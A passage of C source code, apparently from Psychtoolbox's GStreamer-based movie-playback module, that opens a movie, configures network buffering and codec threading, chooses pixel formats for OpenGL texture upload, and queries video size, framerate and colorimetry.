strncpy(movieRecordBANK[*moviehandle].movieName, moviename, FILENAME_MAX);
// Assign name of movie to play to pipeline. If the pipeline is not in playing
// state, this will switch to the specified movieLocation immediately. If it
// is playing, it will switch to it at the end of the current playback iteration:
g_object_set(G_OBJECT(theMovie), "uri", movieLocation, NULL);
// Ready.
return;
}
// Set movie handle to "failed" initially:
*moviehandle = -1;
// We start GStreamer only on first invocation.
if (firsttime) {
// Initialize GStreamer: The routine is defined in PsychVideoCaptureSupportGStreamer.c
PsychGSCheckInit("movie playback");
firsttime = FALSE;
}
if (win && !PsychIsOnscreenWindow(win)) {
if (printErrors)
PsychErrorExitMsg(PsychError_user, "Provided windowPtr is not an onscreen window.");
else
return;
}
// As a side effect of some PsychGSCheckInit() some broken GStreamer runtimes can change
// the OpenGL context binding behind our back to some GStreamer internal context.
// Make sure our own context is bound after return from PsychGSCheckInit() to protect
// against the state bleeding this would cause:
if (win) PsychSetGLContext(win);
if (NULL == moviename) {
if (printErrors)
PsychErrorExitMsg(PsychError_internal, "NULL-Ptr instead of moviename passed!");
else
return;
}
if (numMovieRecords >= PSYCH_MAX_MOVIES) {
*moviehandle = -2;
if (printErrors)
PsychErrorExitMsg(PsychError_user, "Allowed maximum number of simultaneously open movies exceeded!");
else
return;
}
// Search first free slot in movieRecordBANK:
for (i = 0; (i < PSYCH_MAX_MOVIES) && (movieRecordBANK[i].theMovie); i++);
if (i >= PSYCH_MAX_MOVIES) {
*moviehandle = -2;
if (printErrors)
PsychErrorExitMsg(PsychError_user, "Allowed maximum number of simultaneously open movies exceeded!");
else
return;
}
// Slot slotid will contain the movie record for our new movie object:
slotid=i;
// Zero-out new record in moviebank:
memset(&movieRecordBANK[slotid], 0, sizeof(PsychMovieRecordType));
// Store specialFlags1 from open call:
movieRecordBANK[slotid].specialFlags1 = specialFlags1;
// Create name-string for moviename: If an URI qualifier is at the beginning,
// we're fine and just pass the URI as-is. Otherwise we add the file:// URI prefix.
if (strstr(moviename, "://") || ((strstr(moviename, "v4l") == moviename) && strstr(moviename, "//"))) {
snprintf(movieLocation, sizeof(movieLocation)-1, "%s", moviename);
} else {
snprintf(movieLocation, sizeof(movieLocation)-1, "file:///%s", moviename);
}
strncpy(movieRecordBANK[slotid].movieLocation, movieLocation, FILENAME_MAX);
strncpy(movieRecordBANK[slotid].movieName, moviename, FILENAME_MAX);
// Create movie playback pipeline:
if (TRUE) {
// Use playbin:
theMovie = gst_element_factory_make("playbin", "ptbmovieplaybackpipeline");
movieRecordBANK[slotid].theMovie = theMovie;
if (theMovie == NULL) {
printf("PTB-ERROR: Failed to create GStreamer playbin element! Your GStreamer installation is\n");
printf("PTB-ERROR: incomplete or damaged and misses at least the gst-plugins-base set of plugins!\n");
if (printErrors)
PsychErrorExitMsg(PsychError_system, "Opening the movie failed. GStreamer configuration problem.");
else
return;
}
// Assign name of movie to play:
g_object_set(G_OBJECT(theMovie), "uri", movieLocation, NULL);
// Default flags for playbin: Decode video ...
playflags = GST_PLAY_FLAG_VIDEO;
// ... and deinterlace it if needed, unless prevented by specialFlags setting 256:
if (!(specialFlags1 & 256)) playflags|= GST_PLAY_FLAG_DEINTERLACE;
// Decode and play audio by default, with software audio volume control, unless specialFlags setting 2 enabled:
if (!(specialFlags1 & 2)) playflags |= GST_PLAY_FLAG_AUDIO | GST_PLAY_FLAG_SOFT_VOLUME;
// Enable network buffering for network videos of at least 10 seconds, or preloadSecs seconds,
// whatever is bigger.
// Setup without any buffering and caching (aka preloadSecs == 0) requested?
// Note: For now treat the default preloadSecs value 1 as a zero -> No buffering and caching.
// Why? Because the usefulness of this extra setup is not yet proven and the specific choice
// of buffering parameters may need a bit of tuning. We don't want to cause regressions in
// performance of existing scripts, so we stick to the GStreamer default buffering behaviour
// until more time has been spent tuning & testing this setup code.
if ((preloadSecs != 0) && (preloadSecs != 1)) {
// No: Use internal buffering/caching [BUFFERING] of demultiplexed/parsed data, e.g., for fast
// recycling during looped video playback, random access out-of-order frame fetching, fast
// seeking and reverse playback:
playflags |= GST_PLAY_FLAG_BUFFERING;
// Ok, this is ugly: Some movie formats, when streamed from the internet, need progressive
// download buffering to work without problems, whereas other formats will cause problems
// with progressive download buffering. So far we know that some .mov Quicktime movies, e.g.,
// Apple's commercials need it, whereas some .webm movies choke on it. Let's be optimistic
// and assume it works with everything except .webm. Also provide secret cheat code == -2
// to override the blacklisting of .webm to allow for further experiments:
if ((preloadSecs == -2) || (!strstr(moviename, ".webm"))) {
// Want some local progressive download buffering [DOWNLOAD] for network video streams,
// as temporary file on local filesystem:
playflags |= GST_PLAY_FLAG_DOWNLOAD;
}
// Undo our cheat-code if used: Map to 10 seconds preload time:
if (preloadSecs == -2) preloadSecs = 10;
// Setting maximum size of internal RAM ringbuffer supported? (since v0.10.31)
if (g_object_class_find_property(G_OBJECT_GET_CLASS(theMovie), "ring-buffer-max-size")) {
// Supported. The ringbuffer is disabled by default, we enable it with a certain maximum
// size in bytes. For preloadSecs == -1, aka "unlimited buffering", we set it to its
// allowable maximum of G_MAXUINT == 4 GB. For a given finite preloadSecs we have
// to set something reasonable. Set it to preloadSecs buffer duration (in seconds) multiplied
// by some assumed maximum datarate in bytes/second. We use 4e6 bytes, which is roughly
// 4 MB/sec. Why? This is a generously padded value, assuming a max. fps of 60 Hz, max.
// resolution 1920x1080p HD video + HD audio. Numbers are based on the bit rates of
// a HD movie trailer (Warner Brothers "I am Legend" public HD movie trailer), which has
// 7887 kbits/s for 1920x816 H264/AVC progessive scan video at 24 fps and 258 kbits/s for
// MPEG-4 AAC audio in Surround 5.1 format with 48 kHz sampling rate. This upscaled to
// research use and padded should give a good value for our purpose. Also at a default
// preloadSecs value of 1 second, this wastes at most 4 MB for buffering - a safe default:
g_object_set(G_OBJECT(theMovie), "ring-buffer-max-size", ((preloadSecs == -1) ? G_MAXUINT : (guint64) (preloadSecs * (double) 4e6)), NULL);
if (PsychPrefStateGet_Verbosity() > 4) {
printf("PTB-INFO: Playback for movie %i will use adapted RAM ring-buffer-max-size of %f MB.\n", slotid,
(float) (((double) ((preloadSecs == -1) ? G_MAXUINT : preloadSecs * (double) 4e6)) / 1024.0 / 1024.0));
}
}
// Setting of maximum buffer duration for network video stream playback:
if (preloadSecs == -1) {
// "Unlimited" - Set maximum buffering size to G_MAXINT == 2 GB.
g_object_set(G_OBJECT(theMovie), "buffer-size", (gint) G_MAXINT, NULL);
}
else {
// Limited - Set maximum buffer-duration to preloadSecs, the playbin will derive
// a proper maximum buffering size from duration and streaming bitrate:
g_object_set(G_OBJECT(theMovie), "buffer-duration", (gint64) (preloadSecs * (double) 1e9), NULL);
}
if (PsychPrefStateGet_Verbosity() > 4) {
printf("PTB-INFO: Playback for movie %i will use RAM buffering. Additional prebuffering for network streams is\n", slotid);
printf("PTB-INFO: limited to %f %s.\n", (preloadSecs == -1) ? 2 : preloadSecs, (preloadSecs == -1) ? "GB" : "seconds");
if (playflags & GST_PLAY_FLAG_DOWNLOAD) printf("PTB-INFO: Network video streams will be additionally cached to the filesystem.\n");
}
// All in all, we can end up with up to 6*x GB RAM and 6 GB disc consumption for the "unlimited" setting,
// about 4*x MB RAM and 4 MB disc consumption for the default setting of 1, and preloadSecs multiples of
// that for a given value. x is an unkown factor, depending on which internal plugins maintain ringbuffers,
// but assume x somewhere between 1 and maybe 4.
}
else {
if (PsychPrefStateGet_Verbosity() > 4) {
printf("PTB-INFO: Playback for movie %i will not use additional buffering or caching due to 'preloadSecs' setting %i.\n", slotid, (int) preloadSecs);
}
}
// Setup final playback control flags:
g_object_set(G_OBJECT(theMovie), "flags", playflags , NULL);
// Connect callback to about-to-finish signal: Signal is emitted as soon as
// end of current playback iteration is approaching. The callback checks if
// looped playback is requested. If so, it schedules a new playback iteration.
g_signal_connect(G_OBJECT(theMovie), "about-to-finish", G_CALLBACK(PsychMovieAboutToFinishCB), &(movieRecordBANK[slotid]));
}
else {
// Self-Assembled pipeline: Does not work for some not yet investigated reason,
// but is not needed anyway, so we disable it and just leave it for documentation,
// in case it will be needed in the future:
sprintf(movieLocation, "filesrc location='%s' ! qtdemux ! queue ! ffdec_h264 ! ffmpegcolorspace ! appsink name=ptbsink0", moviename);
theMovie = gst_parse_launch((const gchar*) movieLocation, NULL);
movieRecordBANK[slotid].theMovie = theMovie;
videosink = gst_bin_get_by_name(GST_BIN(theMovie), "ptbsink0");
printf("LAUNCHLINE[%p]: %s\n", videosink, movieLocation);
}
// Assign a fakesink named "ptbsink0" as destination video-sink for
// all video content. This allows us to get hold of the video frame buffers for
// converting them into PTB OpenGL textures:
if (!videosink)
videosink = gst_element_factory_make ("appsink", "ptbsink0");
if (!videosink) {
printf("PTB-ERROR: Failed to create video-sink appsink ptbsink! Your GStreamer installation is\n");
printf("PTB-ERROR: incomplete or damaged and misses at least the gst-plugins-base set of plugins!\n");
PsychGSProcessMovieContext(&(movieRecordBANK[slotid]), TRUE);
if (printErrors)
PsychErrorExitMsg(PsychError_system, "Opening the movie failed. Reason hopefully given above.");
else
return;
}
movieRecordBANK[slotid].videosink = videosink;
// Setting flag 1 in specialFlags1 is equivalent to setting pixelFormat == 5, to retain
// backwards compatibility to previous ptb releases:
if (specialFlags1 & 0x1) pixelFormat = 5;
// Assign initial pixelFormat to use, as requested by usercode:
movieRecordBANK[slotid].pixelFormat = pixelFormat;
// Default to 8 bpc bitdepth as a starter:
movieRecordBANK[slotid].bitdepth = 8;
// Our OpenGL texture creation routine usually needs GL_BGRA8 data in G_UNSIGNED_8_8_8_8_REV
// format, but the pipeline usually delivers YUV data in planar format. Therefore
// need to perform colorspace/colorformat conversion. We build a little videobin
// which consists of a ffmpegcolorspace converter plugin connected to our appsink
// plugin which will deliver video data to us for conversion into textures.
// The "sink" pad of the converter plugin is connected as the "sink" pad of our
// videobin, and the videobin is connected to the video-sink output of the pipeline,
// thereby receiving decoded video data. We place a videocaps filter inbetween the
// converter and the appsink to enforce a color format conversion to the "colorcaps"
// we need. colorcaps define the needed data format for efficient conversion into
// a RGBA8 texture. Some GPU + driver combos do support direct handling of UYVU YCrCb 4:2:2
// packed pixel data as textures. If we are on such a GPU we request UYVY data and upload it
// directly in this format to the GPU. This more efficient both for the GStreamers decode
// pipeline, and the later Videobuffer -> OpenGL texture conversion:
if (win && (win->gfxcaps & kPsychGfxCapUYVYTexture) && (movieRecordBANK[slotid].pixelFormat == 5)) {
// GPU supports handling and decoding of UYVY type yuv textures: We use these,
// as they are more efficient to decode and handle by typical video codecs:
colorcaps = gst_caps_new_simple ("video/x-raw",
"format", G_TYPE_STRING, "UYVY",
NULL);
if (PsychPrefStateGet_Verbosity() > 3) printf("PTB-INFO: Movie playback for movie %i will use UYVY YCrCb 4:2:2 textures for optimized decode and rendering.\n", slotid);
}
else if ((movieRecordBANK[slotid].pixelFormat == 6) && win && (win->gfxcaps & kPsychGfxCapFBO) && PsychAssignPlanarI420TextureShader(NULL, win)) {
// Usercode wants YUV I420 planar encoded format and GPU suppports needed fragment shaders and FBO's.
// Ask for I420 decoded video. This is the native output format of HuffYUV and H264 codecs, so using it
// allows to skip colorspace conversion in GStreamer. The format is also highly efficient for texture
// creation and upload to the GPU, but requires a fragment shader for colorspace conversion during drawing:
colorcaps = gst_caps_new_simple ("video/x-raw",
"format", G_TYPE_STRING, "I420",
NULL);
if (PsychPrefStateGet_Verbosity() > 3) printf("PTB-INFO: Movie playback for movie %i will use YUV-I420 planar textures for optimized decode and rendering.\n", slotid);
}
else if (((movieRecordBANK[slotid].pixelFormat == 7) || (movieRecordBANK[slotid].pixelFormat == 8)) && win && (win->gfxcaps & kPsychGfxCapFBO) && PsychAssignPlanarI800TextureShader(NULL, win)) {
// Usercode wants Y8/Y800 planar encoded format and GPU suppports needed fragment shaders and FBO's.
// Ask for I420 or Y800 decoded video. I420 is the native output format of HuffYUV and H264 codecs, so using it
// allows to skip colorspace conversion in GStreamer. The format is also highly efficient for texture
// creation and upload to the GPU, but requires a fragment shader for colorspace conversion during drawing:
// Note: The FOURCC 'Y800' is equivalent to 'Y8 ' and 'GREY' as far as we know. As of June 2012, using the
// Y800 decoding doesn't have any performance benefits compared to I420 decoding, actually performance is a
// little bit lower. Apparently the video codecs don't take the Y800 format into account, ie., they don't skip
// decoding of the chroma components, instead they probably decode as usual and the colorspace conversion then
// throws away the unwanted chroma planes, causing possible extra overhead for discarding this data. We leave
// the option in anyway, because there may be codecs (possibly in future GStreamer versions) that can take
// advantage of Y800 format for higher performance.
colorcaps = gst_caps_new_simple ("video/x-raw",
"format", G_TYPE_STRING,
(movieRecordBANK[slotid].pixelFormat == 8) ? "Y800" : "I420",
NULL);
if (PsychPrefStateGet_Verbosity() > 3) printf("PTB-INFO: Movie playback for movie %i will use Y8-I800 planar textures for optimized decode and rendering.\n", slotid);
}
else if ((movieRecordBANK[slotid].pixelFormat == 11) && win && (win->gfxcaps & kPsychGfxCapFBO) &&
glewIsSupported("GL_ARB_shader_objects") && glewIsSupported("GL_ARB_shading_language_100") &&
glewIsSupported("GL_ARB_fragment_shader") && glewIsSupported("GL_ARB_vertex_shader")) {
// Usercode wants optimal format for HDR/WCG playback and GPU suppports needed shaders and FBO's.
//
// This mode accepts HDR/WCG video footage as decoded planar YUV of different layout, range, different bit-depths,
// different color spaces, EOTF's, and tries to decode as accurate and fast as possible into a RGB linear
// format of high precision suitable for HDR content.
//
// As planar YUV is the native output format of all modern codecs like HuffYUV, H264/H265/VP-9 codecs, using
// it allows to skip cpu intensive colorspace conversion in GStreamer. The format is also highly efficient for
// texture creation and upload to the GPU, but requires a fragment shader for sampling, color space conversion,
// EOTF mapping etc. during drawing.
// We accept I420 YUV of color depth 8, 10, 12 bpc input:
colorcaps = gst_caps_new_simple ("video/x-raw",
"format", G_TYPE_STRING, "I420",
NULL);
gst_caps_append(colorcaps, gst_caps_new_simple("video/x-raw", "format", G_TYPE_STRING, "I420_10LE", NULL));
gst_caps_append(colorcaps, gst_caps_new_simple("video/x-raw", "format", G_TYPE_STRING, "I420_12LE", NULL));
// We also accept I422 YUV of color depth 10 and 12 bpc:
gst_caps_append(colorcaps, gst_caps_new_simple("video/x-raw", "format", G_TYPE_STRING, "I422_10LE", NULL));
gst_caps_append(colorcaps, gst_caps_new_simple("video/x-raw", "format", G_TYPE_STRING, "I422_12LE", NULL));
// We also accept I444 YUV aka Y444 of color depth 8, 10, 12 and 16 bpc:
gst_caps_append(colorcaps, gst_caps_new_simple("video/x-raw", "format", G_TYPE_STRING, "Y444", NULL));
gst_caps_append(colorcaps, gst_caps_new_simple("video/x-raw", "format", G_TYPE_STRING, "Y444_10LE", NULL));
gst_caps_append(colorcaps, gst_caps_new_simple("video/x-raw", "format", G_TYPE_STRING, "Y444_12LE", NULL));
gst_caps_append(colorcaps, gst_caps_new_simple("video/x-raw", "format", G_TYPE_STRING, "Y444_16LE", NULL));
if (PsychPrefStateGet_Verbosity() > 3) printf("PTB-INFO: Movie playback for movie %i will accept YUV-I420/I422/I444 planar textures of 8, 10, 12 or 16 bpc for optimized decode of HDR/WCG compatible content.\n", slotid);
}
else {
// GPU does not support yuv textures or shader based decoding. Need to go brute-force and convert
// video into RGBA8 format:
// Force unsupportable formats to RGBA8 aka format 4, except for formats 7/8, which map
// to 1 == L8, and map 2 == LA8 to 1 == L8:
switch (movieRecordBANK[slotid].pixelFormat) {
case 1: // 1 is fine.
break;
case 3: // 3 is handled after switch-case.
break;
case 4: // 4 is fine.
break;
case 2:
case 7:
case 8:
movieRecordBANK[slotid].pixelFormat = 1;
break;
case 5:
case 6:
case 11:
movieRecordBANK[slotid].pixelFormat = 4;
break;
case 9: // 9 and 10 are fine:
case 10:
break;
default:
if (printErrors)
PsychErrorExitMsg(PsychError_user, "Invalid 'pixelFormat' parameter specified!");
else
// Revert to something safe, RGBA8, as we can not error abort here:
movieRecordBANK[slotid].pixelFormat = 4;
break;
}
// Map 3 == RGB8 to 4 == RGBA8, unless it is our special proprietary 16 bpc encoding:
if ((movieRecordBANK[slotid].pixelFormat == 3) && !(specialFlags1 & 512)) movieRecordBANK[slotid].pixelFormat = 4;
// At this point we can have any of these pixelFormats: 1, 3, 4, 9, 10. Handle them:
if (movieRecordBANK[slotid].pixelFormat == 4) {
// Use RGBA8 format:
colorcaps = gst_caps_new_simple("video/x-raw",
"format", G_TYPE_STRING, "BGRA",
NULL);
if ((PsychPrefStateGet_Verbosity() > 3) && (pixelFormat == 5)) printf("PTB-INFO: Movie playback for movie %i will use RGBA8 textures due to lack of YUV-422 texture support on GPU.\n", slotid);
if ((PsychPrefStateGet_Verbosity() > 3) && (pixelFormat == 6)) printf("PTB-INFO: Movie playback for movie %i will use RGBA8 textures due to lack of YUV-I420 support on GPU.\n", slotid);
if ((PsychPrefStateGet_Verbosity() > 3) && ((pixelFormat == 7) || (pixelFormat == 8))) printf("PTB-INFO: Movie playback for movie %i will use L8 textures due to lack of Y8-I800 support on GPU.\n", slotid);
if ((PsychPrefStateGet_Verbosity() > 1) && (pixelFormat == 11)) printf("PTB-WARNING: Movie playback for movie %i will use RGBA8 textures for HDR playback due to lack of YUV-I420 HDR support on GPU. Results may be wrong!\n", slotid);
if ((PsychPrefStateGet_Verbosity() > 3) && !(pixelFormat < 5)) printf("PTB-INFO: Movie playback for movie %i will use RGBA8 textures.\n", slotid);
}
if ((movieRecordBANK[slotid].pixelFormat == 1) && !(specialFlags1 & 512)) {
// Use LUMINANCE8 format:
colorcaps = gst_caps_new_simple("video/x-raw",
"format", G_TYPE_STRING, "GRAY8",
NULL);
if (PsychPrefStateGet_Verbosity() > 3) printf("PTB-INFO: Movie playback for movie %i will use L8 luminance textures.\n", slotid);
}
// Psychtoolbox proprietary 16 bpc pixelformat for 1 or 3 channel data?
if ((pixelFormat == 1 || pixelFormat == 3) && (specialFlags1 & 512)) {
// Yes. Need to always decode as RGB8 24 bpp: Texture creation will then handle this further.
colorcaps = gst_caps_new_simple("video/x-raw",
"format", G_TYPE_STRING, "RGB",
NULL);
movieRecordBANK[slotid].pixelFormat = pixelFormat;
}
if (movieRecordBANK[slotid].pixelFormat == 9) {
// Use GRAY 16 bpc format for 16 bpc decoding:
colorcaps = gst_caps_new_simple("video/x-raw",
"format", G_TYPE_STRING, "GRAY16_LE",
NULL);
// Switch to 16 bpc bitdepth and single channel pixelFormat:
movieRecordBANK[slotid].bitdepth = 16;
movieRecordBANK[slotid].pixelFormat = 1;
if (PsychPrefStateGet_Verbosity() > 3) printf("PTB-INFO: Movie playback for movie %i will use 16 bpc LUMINANCE 16 float textures.\n", slotid);
}
if (movieRecordBANK[slotid].pixelFormat == 10) {
// Use ARGB64 16 bpc per color channel format for 16 bpc decoding:
colorcaps = gst_caps_new_simple("video/x-raw",
"format", G_TYPE_STRING, "ARGB64",
NULL);
// Switch to 16 bpc bitdepth and 4-channel RGBA pixelFormat:
movieRecordBANK[slotid].bitdepth = 16;
movieRecordBANK[slotid].pixelFormat = 4;
if (PsychPrefStateGet_Verbosity() > 3) printf("PTB-INFO: Movie playback for movie %i will use 16 bpc RGBA 16 bpc float textures.\n", slotid);
}
}
// Assign 'colorcaps' as caps to our videosink. This marks the videosink so
// that it can only receive video image data in the format defined by colorcaps,
// i.e., a format that is easy to consume for OpenGL's texture creation on std.
// gpu's. It is the job of the video pipeline's autoplugger to plug in proper
// color & format conversion plugins to satisfy videosink's needs.
gst_app_sink_set_caps(GST_APP_SINK(videosink), colorcaps);
// Assign our special appsink 'videosink' as video-sink of the pipeline:
g_object_set(G_OBJECT(theMovie), "video-sink", videosink, NULL);
gst_caps_unref(colorcaps);
PsychGSProcessMovieContext(&(movieRecordBANK[slotid]), FALSE);
// Attach custom made audio sink?
if ((pstring = strstr(movieOptions, "AudioSink="))) {
pstring += strlen("AudioSink=");
pstring = strdup(pstring);
if (strstr(pstring, ":::") != NULL) *(strstr(pstring, ":::")) = 0;
audiosink = gst_parse_bin_from_description((const gchar *) pstring, TRUE, NULL);
if (audiosink) {
g_object_set(G_OBJECT(theMovie), "audio-sink", audiosink, NULL);
audiosink = NULL;
if (PsychPrefStateGet_Verbosity() > 3) printf("PTB-INFO: Attached custom audio sink for playback of movie. Spec: '%s'\n", pstring);
free(pstring); pstring = NULL;
}
else {
printf("PTB-ERROR: Could not create requested audio sink for playback of movie! Failing sink spec was: '%s'\n", pstring);
free(pstring); pstring = NULL;
if (printErrors)
PsychErrorExitMsg(PsychError_user, "Failed to create custom audio sink for movie playback.");
else
return;
}
}
// Preload / Preroll the pipeline:
if (!PsychMoviePipelineSetState(theMovie, GST_STATE_PAUSED, 30.0)) {
PsychGSProcessMovieContext(&(movieRecordBANK[slotid]), TRUE);
if (printErrors)
PsychErrorExitMsg(PsychError_user, "In OpenMovie: Opening the movie failed I. Reason given above.");
else
return;
}
// Set video decoder parameters:
// First we try to find the video decoder plugin in the media graph. We iterate over all
// elements and try to find one whose properties match known properties of video codecs:
// Note: The typeid/name or classid/name proved useless for finding the video codec, as
// the video codecs are not derived from some "video codec class", but each codec defines
// its own type and class.
it = gst_bin_iterate_recurse(GST_BIN(theMovie));
done = FALSE;
videocodec = NULL;
while (!done) {
switch (gst_iterator_next(it, &item)) {
case GST_ITERATOR_OK:
videocodec = g_value_peek_pointer(&item);
if (PsychPrefStateGet_Verbosity() > 5) printf("PTB-DEBUG: In pipeline: Child element name: %s\n", (const char*) gst_object_get_name(GST_OBJECT(videocodec)));
// Our current match critera for video codecs: Having at least one of the properties "max-threads" or "lowres":
if ((g_object_class_find_property(G_OBJECT_GET_CLASS(videocodec), "max-threads")) ||
(g_object_class_find_property(G_OBJECT_GET_CLASS(videocodec), "lowres")) ||
(g_object_class_find_property(G_OBJECT_GET_CLASS(videocodec), "debug-mv")) ||
(g_object_class_find_property(G_OBJECT_GET_CLASS(videocodec), "skip-frame"))) {
if (PsychPrefStateGet_Verbosity() > 4) printf("PTB-DEBUG: Found video decoder element %s.\n", (const char*) gst_object_get_name(GST_OBJECT(videocodec)));
done = TRUE;
} else {
videocodec = NULL;
g_value_reset(&item);
}
break;
case GST_ITERATOR_RESYNC:
gst_iterator_resync(it);
break;
case GST_ITERATOR_DONE:
done = TRUE;
break;
default:
videocodec = NULL;
}
}
g_value_unset(&item);
gst_iterator_free(it);
it = NULL;
// Check if some codec properties need to be changed.
// This happens if usercode provides some supported non-default override parameter for the codec,
// or if the codec is multi-threaded and usercode wants us to configure its multi-threading behaviour:
needCodecSetup = FALSE;
if (videocodec && ((g_object_class_find_property(G_OBJECT_GET_CLASS(videocodec), "max-threads") && (maxNumberThreads > -1)) ||
(g_object_class_find_property(G_OBJECT_GET_CLASS(videocodec), "lowres") && (specialFlags1 & (0))) || /* MK: 'lowres' disabled for now. */
(g_object_class_find_property(G_OBJECT_GET_CLASS(videocodec), "debug-mv") && (specialFlags1 & 4)) ||
(g_object_class_find_property(G_OBJECT_GET_CLASS(videocodec), "skip-frame") && (specialFlags1 & 8))
)) {
needCodecSetup = TRUE;
}
// Set videocodec state to "ready" if parameter change is needed, as the codec only
// accepts the new settings in that state:
if (needCodecSetup) {
// Ready the video codec, so a new max thread count or other parameters can be set:
if (!PsychMoviePipelineSetState(videocodec, GST_STATE_READY, 30.0)) {
PsychGSProcessMovieContext(&(movieRecordBANK[slotid]), TRUE);
if (printErrors)
PsychErrorExitMsg(PsychError_user, "In OpenMovie: Opening the movie failed III. Reason given above.");
else
return;
}
}
// Drawing of motion vectors requested by usercode specialflags1 flag 4? If so, enable it:
if (needCodecSetup && (specialFlags1 & 4) && (g_object_class_find_property(G_OBJECT_GET_CLASS(videocodec), "debug-mv"))) {
g_object_set(G_OBJECT(videocodec), "debug-mv", 1, NULL);
if (PsychPrefStateGet_Verbosity() > 3) printf("PTB-INFO: Playback for movie %i will display motion vectors for visualizaton of optic flow.\n", slotid);
}
// Skipping of B-Frames video decoding requested by usercode specialflags1 flag 8? If so, enable skipping:
if (needCodecSetup && (specialFlags1 & 8) && (g_object_class_find_property(G_OBJECT_GET_CLASS(videocodec), "skip-frame"))) {
g_object_set(G_OBJECT(videocodec), "skip-frame", 1, NULL);
if (PsychPrefStateGet_Verbosity() > 3) printf("PTB-INFO: Playback for movie %i will skip B-Frames during video decoding for higher speed.\n", slotid);
}
// Multi-threaded codec and usercode requests setup? If so, set its multi-threading behaviour:
// By default many codecs would only use one single thread on any system, even if they are multi-threading capable.
if (needCodecSetup && (g_object_class_find_property(G_OBJECT_GET_CLASS(videocodec), "max-threads")) && (maxNumberThreads > -1)) {
max_video_threads = 1;
g_object_get(G_OBJECT(videocodec), "max-threads", &max_video_threads, NULL);
if (PsychPrefStateGet_Verbosity() > 4) printf("PTB-INFO: Movie playback for movie %i uses video decoder with a default maximum number of %i processing threads.\n", slotid, max_video_threads);
// Specific number of threads requested, or zero for auto-select?
if (maxNumberThreads > 0) {
// Specific value provided: Use it.
max_video_threads = maxNumberThreads;
if (PsychPrefStateGet_Verbosity() > 3) printf("PTB-INFO: Setting video decoder to use a maximum of %i processing threads.\n", max_video_threads);
} else {
// Default behaviour: A settig of zero asks GStreamer to auto-detect the optimal
// setting for the given host computer -- typically number of threads == number of processor cores:
max_video_threads = 0;
if (PsychPrefStateGet_Verbosity() > 3) printf("PTB-INFO: Setting video decoder to use auto-selected optimal number of processing threads.\n");
}
// Assign new setting:
g_object_set(G_OBJECT(videocodec), "max-threads", max_video_threads, NULL);
// Requery:
g_object_get(G_OBJECT(videocodec), "max-threads", &max_video_threads, NULL);
if (PsychPrefStateGet_Verbosity() > 4) {
if (max_video_threads != 0) {
printf("PTB-INFO: Movie playback for movie %i uses video decoder with a current maximum number of %i processing threads.\n", slotid, max_video_threads);
} else {
printf("PTB-INFO: Movie playback for movie %i uses video decoder with a current auto-detected optimal number of processing threads.\n", slotid);
}
}
}
// Bring codec back to paused state, so it is ready to do its job with the
// new codec parameters set:
if (needCodecSetup) {
// Pause the video codec, so the new max thread count is accepted:
if (!PsychMoviePipelineSetState(videocodec, GST_STATE_PAUSED, 30.0)) {
PsychGSProcessMovieContext(&(movieRecordBANK[slotid]), TRUE);
if (printErrors)
PsychErrorExitMsg(PsychError_user, "In OpenMovie: Opening the movie failed IV. Reason given above.");
else
return;
}
}
// Query number of available video and audio tracks in movie:
g_object_get (G_OBJECT(theMovie),
"n-video", &movieRecordBANK[slotid].nrVideoTracks,
"n-audio", &movieRecordBANK[slotid].nrAudioTracks,
NULL);
// We need a valid onscreen window handle for real video playback:
if ((NULL == win) && (movieRecordBANK[slotid].nrVideoTracks > 0)) {
if (printErrors)
PsychErrorExitMsg(PsychError_user, "No windowPtr to an onscreen window provided. Must do so for movies with videotrack!");
else
return;
}
PsychGSProcessMovieContext(&(movieRecordBANK[slotid]), FALSE);
PsychInitMutex(&movieRecordBANK[slotid].mutex);
PsychInitCondition(&movieRecordBANK[slotid].condition, NULL);
// Install callbacks used by the videosink (appsink) to announce various events:
gst_app_sink_set_callbacks(GST_APP_SINK(videosink), &videosinkCallbacks, &(movieRecordBANK[slotid]), PsychDestroyNotifyCallback);
// Assign harmless initial settings for fps and frame size:
rate1 = 0;
rate2 = 1;
width = height = 0;
// Videotrack available?
if (movieRecordBANK[slotid].nrVideoTracks > 0) {
if (!videocodec) {
// Fallback: Get the pad from the final sink for probing width x height of movie frames and nominal framerate of movie:
pad = gst_element_get_static_pad(videosink, "sink");
peerpad = gst_pad_get_peer(pad);
caps = gst_pad_get_current_caps(peerpad);
gst_object_unref(peerpad);
} else {
// Better: Get the pad/caps from the videocodec, so we get original colorimetry information:
pad = gst_element_get_static_pad(videocodec, "src");
caps = gst_pad_get_current_caps(pad);
}
// Got valid caps?
if (caps) {
// Yes: Query size and framerate of movie:
str = gst_caps_get_structure(caps, 0);
/* Get some data about the frame */
rate1 = 1; rate2 = 1;
gst_structure_get_fraction(str, "pixel-aspect-ratio", &rate1, &rate2);
movieRecordBANK[slotid].aspectRatio = (double) rate1 / (double) rate2;
gst_structure_get_int(str,"width", &width);
gst_structure_get_int(str,"height", &height);
rate1 = 0; rate2 = 1;
gst_structure_get_fraction(str, "framerate", &rate1, &rate2);
// Try to get more detailed info about video:
if (gst_video_info_from_caps (&movieRecordBANK[slotid].codecVideoInfo, caps)) {
if (PsychPrefStateGet_Verbosity() > 3) {
printf("PTB-DEBUG: Video colorimetry is %s.\n", gst_video_colorimetry_to_string (&movieRecordBANK[slotid].codecVideoInfo.colorimetry));
printf("PTB-DEBUG: Video range %i, colormatrix %i, color primaries %i, eotf %i.\n", movieRecordBANK[slotid].codecVideoInfo.colorimetry.range,
movieRecordBANK[slotid].codecVideoInfo.colorimetry.matrix, movieRecordBANK[slotid].codecVideoInfo.colorimetry.primaries,
movieRecordBANK[slotid].codecVideoInfo.colorimetry.transfer);
printf("PTB-DEBUG: Video format %s. Depth %i bpc.\n", movieRecordBANK[slotid].codecVideoInfo.finfo->name, *movieRecordBANK[slotid].codecVideoInfo.finfo->depth);
}
}
// Optional 'movieOptions' parameter 'OverrideEOTF=x' specified to override detected EOTF to type x?
if ((pstring = strstr(movieOptions, "OverrideEOTF="))) {
// Yes. Make it so, as long as pixelFormat 11 playback is requested:
if ((pixelFormat == 11) && (1 == sscanf(pstring, "OverrideEOTF=%i", (int *) &movieRecordBANK[slotid].codecVideoInfo.colorimetry.transfer))) {
if (PsychPrefStateGet_Verbosity() > 3)
printf("PTB-DEBUG: Video EOTF id overridden by 'movieOptions' parameter. New EOTF type is %i.\n", movieRecordBANK[slotid].codecVideoInfo.colorimetry.transfer);
} else {
if (PsychPrefStateGet_Verbosity() > 0)
